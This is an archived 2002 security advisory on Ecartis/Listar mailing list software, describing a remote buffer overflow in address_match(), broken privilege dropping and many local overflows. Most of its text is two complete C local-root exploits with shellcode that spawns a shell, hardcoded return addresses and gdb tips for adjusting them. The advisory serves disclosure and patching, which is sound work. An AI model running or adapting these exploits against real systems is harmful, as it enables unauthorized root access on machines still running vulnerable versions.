|
COMMAND Ecartis/Listar multiple vulns. may lead to remote and local root SYSTEMS AFFECTED All current versions are affected, including latest CVS snapshot 1.0.0-20020125. PROBLEM Janusz Niewiadomski and Wojciech Purczynski of iSEC Security Research [http://isec.pl], posted : 1. Remotely exploitable buffer overflow in address_match() All versions of Listar and versions prior 1.0.0 snapshot 20020125 of Ecartis, contains buffer overflow in address_match() function, which handles comparison between address received in From header and addresses in local subscribers database. By issuing specially crafted From header, remote attacker is able to overwrite return address of the function and execute arbitrary code on system running list manager. Working proof of concept code has been developed, but we are not going to publish it at the moment. 2. Ineffective privilege dropping in listar Some MTA (like postfix) may execute ecartis binary with non-privileged user. In such a case ecartis does not change its privileges, regardless whether it is installed setuid-root or setuid to non-privileged user. This causes ecartis to work with UID of what it was called by MTA, and EUID (also SUID and FSUID) it was installed setuid to. In case of setuid to non-privileged user installations (most binary packages) ecartis incorrectly drops its privileges: (called with UID=root) getuid() = root geteuid() = ecartis getegid() = ecartis setuid(ecartis) = root setgid(ecartis) = root After above UID/GID initialization UID is still equal to root and no UIDs are changed at all (at least on Linux, implementation of setuid/setgid varies on other systems). Working privileges are dropped correcly only when ecartis is called and installed with root privileges and \"lock-to-user\" configuration option is set. If \"lock-to-user\" is not set, ecartis displays warning message but it continues to work with full root privileges. Installing Ecartis setuid-root is not recommended, quoting from README file: \"You probably want to create a ecartis user/group so that the program runs as an unpriveledged user. Chmod the ecartis executable to this user and make sure this user is a trusted user of your sendmail program. Also make sure all the list directories have the correct permissions and can be read/written by the ecartis user/group.\" So the most safe Ecartis installation is not recommended and uncommon. Notice that in all above cases, supplementary groups are not even touched and they are left unchanged. This may lead ecartis to work with supplementary groups it was called with, mostly mail or root. 3. Multiple local vulnerabilities Ecartis/Listar contains infinite number of local buffer overflows and other security holes. Most of these are very easily exploitable. Unfortunately vendor seems to ignore our suggestions regarding further analysis of presented examples, and general security audit of the code. Exploit : (25 April 2002) by KF [dotslash@snosoft.com] ======= /* * /home/listar-0.129a/listar * * The vulnerability was found by KF / Snosoft (http://www.snosoft.com) * Exploit coded up by The Itch / Promisc (http://www.promisc.org) * * This exploit was developed on the Snosoft vulnerability research machines * * - The Itch * - itchie@promisc.org * * - Technical details concerning the exploit - * * 1) Buffer overflow occurs after writing 990 bytes into the buffer at the command line * (990 to overwrite ebp, 996 to overwrite eip). * 2) The code string with the return address will be unaligned. * */ #include <stdio.h> #include <stdlib.h> #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 #define DEFAULT_BUFFER_SIZE 1000 char shellcode[] = \"\\x31\\xc0\\x31\\xdb\\xb0\\x17\\xcd\\x80\" \"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\" \"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\" \"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\"; int main(int argc, char *argv[]) { char *buff; char *egg; char *ptr; long *addr_ptr; long addr; int bsize = DEFAULT_BUFFER_SIZE; int eggsize = DEFAULT_EGG_SIZE; int i; int get_sp = 0xbffff4e0; if(argc > 1) { bsize = atoi(argv[1]); } if(!(buff = malloc(bsize))) { printf(\"unable to allocate memory for %d bytes\\n\", bsize); exit(1); } if(!(egg = malloc(eggsize))) { printf(\"unable to allocate memory for %d bytes\\n\", eggsize); exit(1); } printf(\"/home/listar-0.129a/listar\\n\"); printf(\"Vulnerability found by KF / http://www.snosoft.com\\n\"); printf(\"Coded by The Itch / http://www.promisc.org\\n\\n\"); printf(\"Using return address: 0x%x\\n\", get_sp); printf(\"Using buffersize : %d\\n\", bsize); /* alignment */ ptr = buff + 2; addr_ptr = (long *) ptr; for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; } ptr = egg; for(i = 0; i < eggsize - strlen(shellcode) -1; i++) { *(ptr++) = NOP; } for(i = 0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } egg[eggsize - 1] = \'\\0\'; buff[bsize -1] = \'\\0\'; memcpy(buff, \"RET=\", 4); memcpy(egg, \"EGG=\", 4); putenv(buff); putenv(egg); system(\"/home/listar-0.129a/listar $RET\"); return 0; } /* * /home/ecartis/ecartis * * The vulnerability was found by KF / Snosoft (http://www.snosoft.com) * Exploit coded up by The Itch / Promisc (http://www.promisc.org) * Shellcode created by r0z / Promisc (r0z@promisc.org) * * This exploit was developed on the Snosoft vulnerability research machines * * - The Itch * - itchie@promisc.org * * - Technical details concerning the exploit - * * 1) Buffer overflow occurs after writing 996 bytes into the buffer at the command line * (996 to overwrite ebp, 1000 to overwrite eip). * 2) The code string with the return address will be unaligned. * 3) Shellcode will try to do a setreuid(508); * * I had trouble reaching my own buffer in the enviroment dynamicly, so i gdb\'ed it. * If the exploit fails, comment the system() that runs ecarthis, uncomment the other system() * The run this exploit, you will be in bash then, do: gdb /home/ecartis/ecartis * in gdb, type: run $RET * The program will probably then segfault, then type: x/200x $esp and press enter a couply of times * until you see alot of 0x90909090. Then pick on of those address and replace it with the * int get_sp = 0xbffff550. Change the system() commands below back as how they were and rerun the exploit. * */ #include <stdio.h> #include <stdlib.h> #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 #define DEFAULT_BUFFER_SIZE 1000 /* setreuid(508); execve(\"/bin/sh\", \"sh\", 0); (c) r0z@promisc.org */ char shellcode[] = \"\\x31\\xdb\" /* xor %ebx, %ebx */ \"\\x31\\xc9\" /* xor %ecx, %ecx */ \"\\xf7\\xe3\" /* mul %ebx */ \"\\xb0\\x46\" /* mov $0x46, %al */ \"\\x66\\xbb\\xfc\\x01\" /* mov $0x1fc, %bx */ \"\\x49\" /* dec %ecx */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xd2\" /* xor %edx, %edx */ \"\\x52\" /* push %edx */ \"\\x68\\x6e\\x2f\\x73\\x68\" /* push $0x68732f6e */ \"\\x68\\x2f\\x2f\\x62\\x69\" /* push $0x69622f2f */ \"\\x89\\xe3\" /* mov %esp, %ebx */ \"\\x52\" /* push %edx */ \"\\x53\" /* push %ebx */ \"\\x89\\xe1\" /* mov %esp, %ecx */ \"\\x6a\\x0b\" /* pushl $0xb */ \"\\x58\" /* pop %eax */ \"\\xcd\\x80\"; /* int $0x80 */ int main(int argc, char *argv[]) { char *buff; char *egg; char *ptr; long *addr_ptr; long addr; int bsize = DEFAULT_BUFFER_SIZE; int eggsize = DEFAULT_EGG_SIZE; int i; int get_sp = 0xbffff550; if(argc > 1) { bsize = atoi(argv[1]); } if(!(buff = malloc(bsize))) { printf(\"unable to allocate memory for %d bytes\\n\", bsize); exit(1); } if(!(egg = malloc(eggsize))) { printf(\"unable to allocate memory for %d bytes\\n\", eggsize); exit(1); } printf(\"/home/ecartis/ecartis\\n\"); printf(\"Vulnerability found by KF / http://www.snosoft.com\\n\"); printf(\"Coded by The Itch / http://www.promisc.org\\n\\n\"); printf(\"Using return address: 0x%x\\n\", get_sp); printf(\"Using buffersize : %d\\n\", bsize); /* alignment */ ptr = buff + 2; addr_ptr = (long *) ptr; for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; } ptr = egg; for(i = 0; i < eggsize - strlen(shellcode) -1; i++) { *(ptr++) = NOP; } for(i = 0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } egg[eggsize - 1] = \'\\0\'; memcpy(egg, \"EGG=\", 4); putenv(egg); buff[bsize - 1] = \'\\0\'; memcpy(buff, \"RET=\", 4); putenv(buff); system(\"/home/ecartis/ecartis $RET\"); // system(\"/bin/bash\"); return 0; } SOLUTION Only the first issue has been fixed in the lastest snapshot of Ecartis development version, vendor released statement and fix informations on listar-announce mailing list: http://marc.10east.com/?l=listar-announce&m=101452659032650&w=2 All stable versions of Listar are still vulnerable to all above issues and needs to be patched or upgraded to Ecartis after it is fixed.